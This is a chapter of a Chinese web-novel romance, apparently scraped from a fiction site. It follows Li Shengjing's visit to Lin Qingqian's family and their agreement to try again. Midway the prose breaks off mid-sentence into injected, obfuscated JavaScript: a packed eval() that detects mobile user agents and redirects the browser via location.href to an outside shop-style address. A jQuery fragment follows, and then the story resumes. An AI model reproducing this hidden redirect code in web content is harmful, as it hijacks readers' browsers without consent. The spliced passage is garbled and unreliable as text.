李盛景看着院子里种的一盆月季,应该是开了有几日了,一副将要凋谢的样子:“阿姨,我也是真心喜欢浅浅,她于我来说,是师,是友,是心灵契合的恋人,这样的人太难找了,我不想放手。” “可你这是耽误她啊。”王曼容说:“你也知道,女孩大一年,能找着的好对象就更少,再过个两年,别人都要给她介绍二婚带娃的了,那就是给人当后妈了。” “我人生的价值只剩下嫁人了吗?”林清浅抱着林灿星下来,弯腰把她放到地上,去电脑桌的抽屉里找发绳。 “不嫁人你老了怎么办?”王曼容扬声说:“到时候生个病都没人照顾你,躺在床上不能动的时候连水都没得喝。” 林清浅在亲人面前要易燃易怒一些,她怼了回去:“那我享受了前面自由自在的少年,青年,中年,到了老年也是我该受的。” “说什么傻话呢。”王曼容怒道:“我就不该放你读那么多书,把个脑子都读坏了,听听这都是些什么傻话。” “这跟读多少书没关系,阿姨。”李盛景眼看着母女俩要吵起来的样子赶紧插话:“结婚是一辈子的事情,浅浅只是太过慎重,不想随随便便就嫁了。” 王曼容发愁地说:“慎重是好,可也要看年龄啊,再过几年她就40了,难不成争取给人当后妈?” “当后妈也没什么不好的。”林清浅终于找出来两个小的发圈,边给趴在桌上玩积木的林灿星扎双马尾,边故意膈应她妈:“可以无痛当妈呢。” 这话林清浅拿来怼过王曼容很多次,可无论多少次她都要生气:“当人后妈你还反以为荣了?到时候天天跟你作对,你一天不知道哭多少次。” 李盛景不知道出于什么心理,这时候站到了王曼容那边去:“就是,后妈很难当的,对他好他不领情,对他不好别人说你,老了也不会照顾你,还要跟你争家产。” 林清浅瞪了他一眼。 李盛景摸摸鼻子,朝她讨好地笑。 王曼容终于找着个跟自己站一边的,顿时气焰大涨,豆角都不择了,侧身看这林清浅说:“我就该像你爸的那个朋友一样,不结婚就把你关起来,直到把你嫁出去为止。” 林清浅看李盛年,像是在说:你看吧,有人支持她,她说得更起劲了。 李盛年顶着她的目光跟王曼容说:“阿姨,这俗话说,强扭的瓜不甜,逼出来的婚姻是不幸福的。” “我也不是说非要她嫁。”王曼容转回来继续择菜:“她要是自己愿意去找我也不催她,可她既不愿意找,又不肯相亲,什么时候才能把自己嫁出去?” 这话说得李盛景头顶的灯泡“叮”地一声亮了,脱口而出:“那你就把我当成浅浅的相亲对象吧。” 他觉得这条路行得通,转头问林清浅:“浅浅,好不好?我就当是来与你相亲的,就当给我一个机会,我们从头开始,可以吗?” 18. 第 18 章 林清浅没有回答李盛景的问题。她给林灿星扎好头发又上了楼,直到快中午才进厨房去帮忙。 李盛景作为客人,想跟着进去帮忙被赶了出来。 他在厨房门口站了一会儿,想起曾经信誓旦旦地跟林清浅说要向她展露自己的厨艺,结果他在家里用的是天然气,而林清浅租的单间里没有天然气,头一次用电炒锅的他发挥失常,还说等林清浅去了他那儿一定要重新展露一次。 可林清浅去找他,他却连门都没让人认,把她带去了海边跨年,新年的第一天两人就分了手。 他隔着玻璃门看了看王曼容准备的几个菜,没一个自己拿手的。想借地方展露厨艺的心顿时歇了,沮丧地坐回了大堂。 视频里见过一面的林希音看见他问:“大哥哥,你从哪里来的啊?” “我从很远很远地地方来的。”李盛景回答的时候声音不自觉地放柔。 拿着画笔在本子上涂涂画画的林希音歪了歪头,好奇地问:“那你是怎么来的呢?” 李盛景想起林清浅曾跟他说自己的两个侄女究竟有多可爱,他当时还不当回事,此时被小女孩的这个歪头正面击中,心都颤了一下,但不影响他逗小女孩:“当然是飞过来的。” “大哥哥你不要觉得我小就骗我哦。”林希音板着一张过分白皙的精致小脸说:“人是不能飞的。” 拿着画笔在旁边捣乱的林灿星说:“对的,人是不能飞的,只有小鸟才会飞。” 人类幼崽都是萌物啊。李盛景的嘴角抑制不住地上扬,反问两个小朋友:“那我不能飞,我是怎么过来的呢?” 这问题并没有难倒林希音。她抢着说:“我知道,你是坐飞机过来的。” “答对了。”李盛景说:“但是没有奖励。” 两个小朋友并不在意。林希音继续问:“那你会在我家里住下来吗?” 起得晚,收拾好楼上卫生的赵绵绵这时候问:“我的宝贝们,你们在和谁说话呀?” “一个大哥哥。”林灿星丢下画笔跑过去抱住赵绵绵的大腿:“妈妈我想你了。” “嗯嗯,我也想我的小宝贝了。”赵绵绵说得敷衍,目光看向李盛景,牵着林灿星走过去的时候说:“你不会就是……我姐的那个渣男友吧?” 话一出两人都尴尬了一瞬。赵绵绵赔笑说:“抱歉抱歉,嘴快。” 不等李盛景开口,又说:“但你真的挺渣的。” 饶是李盛景接触过各种各样的人,赵绵绵这样的是第一次见,上来就直接丢炸弹的。他过了会儿才说:“你说得对,我确实渣。” “别啊,你可以辩解的。”赵绵绵在他对面坐下来,一副“我听你狡辩”的表情。 李盛景假装没听见这话,恭维地说:“希希和星星都好可爱。” 林灿星拿着自己乱涂乱画的画画本过来:“妈妈你看我画的画。” 赵绵绵敷衍地看了两眼,开口就夸:“画得真好看,再去画一张吧宝贝。” 转过头来领了李盛景的夸赞,得意地说:“是吧,我有时候都觉得,我这么会生,应该多生几个,不然这优秀的基因岂不是浪费了?” “是的。”李盛景再次说:“真的太好看了两个都,还是完全不同的风格,希希很淑女,星星很酷。” “你这眼光不错。”赵绵绵被夸得高兴,笑得眼睛都亮了:“就是人品不太行。” 这话说得很不客气,可李盛景也没生气。站在林清浅的角度,他确实不好,而赵绵绵是她的家人,自然不会说自己好话。 他有种该在林清浅哪儿挨的骂在赵绵绵这里领了的错觉。 好在赵绵绵虽然直爽但不咄咄逼人,刺了李盛景两句就开始关心起其他:“听我姐说,你想跟她和好?” 李盛景点头:“嗯,但她没答应。” “那肯定不答应啊。”赵绵绵说:“你自己犯了错,等了三个月,在人家都对你已经死心了的时候才来找人,还什么表示都没有,这谁能答应?” 李盛景神情黯然,过了一会儿才哑声问:“那要怎么做?” “我这个人有点俗啊。”赵绵绵没注意到李盛景的变化,让林希音给她拿个面包,然后才说:“如果我是我姐,那得抱着花来跟我道歉,还得给我买包买衣服,最差也得给我发个红包吧。” 李盛景点点头,一副认真听劝的模样,但心里却觉得林清浅不喜欢这些。 不过这也只是个参考。 赵绵绵继续说:“你想想,你告白的时候是不是得鲜花气球,还得找个浪漫的餐厅才行?而你现在都不是表白,是追回你曾经的恋人,那诚意就不能只是这些,可你呢?你就只带了张嘴。” “现在只靠花言巧语可追不到女孩,尤其是我姐这样的。”赵绵绵说到这里接过林希音给她拿来的面包,撕开包装吃了起来。 李盛景低着头,一副若有所思的样子,片刻后问:“浅浅她对我……真的死心了?” 赵绵绵当然没法知道林清浅的心思,但日日同处一个屋檐下,林清浅又是个不太会藏情绪的人,她多少能猜到一点:“鼋头渚看樱花,是你跟她的约定吧?” 李盛景点头:“对,是我说要带她去看的,因为我曾看过一次,太美好了,所以想让她也看看。” 赵绵绵说:“她辞职过来的时候花期都过了,可她非要去看,我就想着,她猜她当时是想借着看花与你告别的。” 是与他的告别,也是与这一段感情的告别。李盛景想:我终究是……来晚了一步吗? - 午饭很丰盛,热菜,凉菜和汤把桌子都摆满了。王曼容虽然不赞同女儿和李盛景和好,但她待客极热情,一直在劝李盛景吃菜。 李盛景盛情难却之下吃撑了。 饭后,林清浅端给他一杯水,又递给他一粒药丸:“我妈就这个性子,你其实不用都吃下去的。” 李盛景接过药和水说:“她是你妈妈,我想给她留个好印象。” 这话把林清浅说沉默了。 李盛景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958967|193269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 端着水,本想吹凉,但试了下水温,发现是温的。他心里叹息了一声,就着水把药吞了。 林清浅伸手来接碗,李盛景趁机拉住她的手。两人一坐一站,他仰起脸看林清浅,可怜兮兮地问:“浅浅,你真的对我死心了吗?” 林清浅沉默地站着,但也没有要挣脱被拉住的手。 李盛景自顾自地说:“我听到绵绵说你对我死心了的那瞬间心都痛得揪成一团。” 林清浅是不太信的,当时能在她最幸福快乐的时候忍心看她坠落,此时又怎么可能会心痛她的死心? 可她又有一点报复心理地想:真痛才好呢,让你也体会体会我当初的心情。 “浅浅,你真的对我死心了吗?”他怕听到肯定答案似的,不等林清浅开口立即又说:“你会死心也是正常的,毕竟我当时的做法对你造成的伤害太大,也就是你品性好,没去贴吧之类的公众平台挂我,我想想我对你做的事,确实值得你去写一个818的。” “没到那种程度。”林清浅开口:“如果你真是因为前女友跟我分手,那确实能去8你,以防你以后去骗别的女孩子。但既然不是,我们之间就属于正常的从恋爱到分手。” 她拖了把椅子在李盛景旁边坐下来:“看着院墙外湛蓝的天空上飘过的白云:“我不知道你是怎么想的,但在我,与你在一起的那些时日里我都是开心幸福的,每一天都充满了期待,也让我平淡安静的生活里忽然增添了很多的色彩……” 林清浅想起那些睁开眼就收到早安问候,晚上又舍不得睡的日子,生活中的一点寻常小事都能聊上几十条甚至上百条的信息,看到一朵不起眼的花都要拍下来分享,喜悦有人共享,难过有人共担,活着忽然就成了一件很有意义的事情。 她说:“虽然最后以痛彻心扉做为结束,可我既享受了快乐和幸福,痛苦和伤心也应该承受。因此,再来一次的话,我依然会在去年的国庆抱着花去见你,依然会在你表白的时候点头答应,因为过程是很美好的。” “既然这样,那我们不能重新开始吗?”李盛景再一次追问:“你现在没有喜欢的人,我也没有,就当我们是才认识的人,彼此看对了眼,然后开始向对方靠近?” 他怕林清浅不答应,继续说:“或者我们像之前一样,先从师徒做起,我每天陪你做日常,陪你打竞技场,于是心生好感……” 林清浅沉默有一分钟之久,在李盛景以为自己没有任何希望的时候,她说:“那就试试吧。” 李盛景以为自己听错了,瞪大了眼睛看她。 林清浅终于将目光从蓝天白云转到了他脸上,朝他灿烂一笑,说:“如你所说,你没有喜欢的人,我也没有,那就把这一次的见面当做是相亲。” 她伸出手:“你好,我是剑网3给你介绍的相亲对象,我叫林清浅。” 李盛景人还有点懵,但下意识地伸出手握住她的,重复林清浅的话:“你好,我是剑网3给你介绍的相亲对象,我叫林清……不是,我叫李盛景。”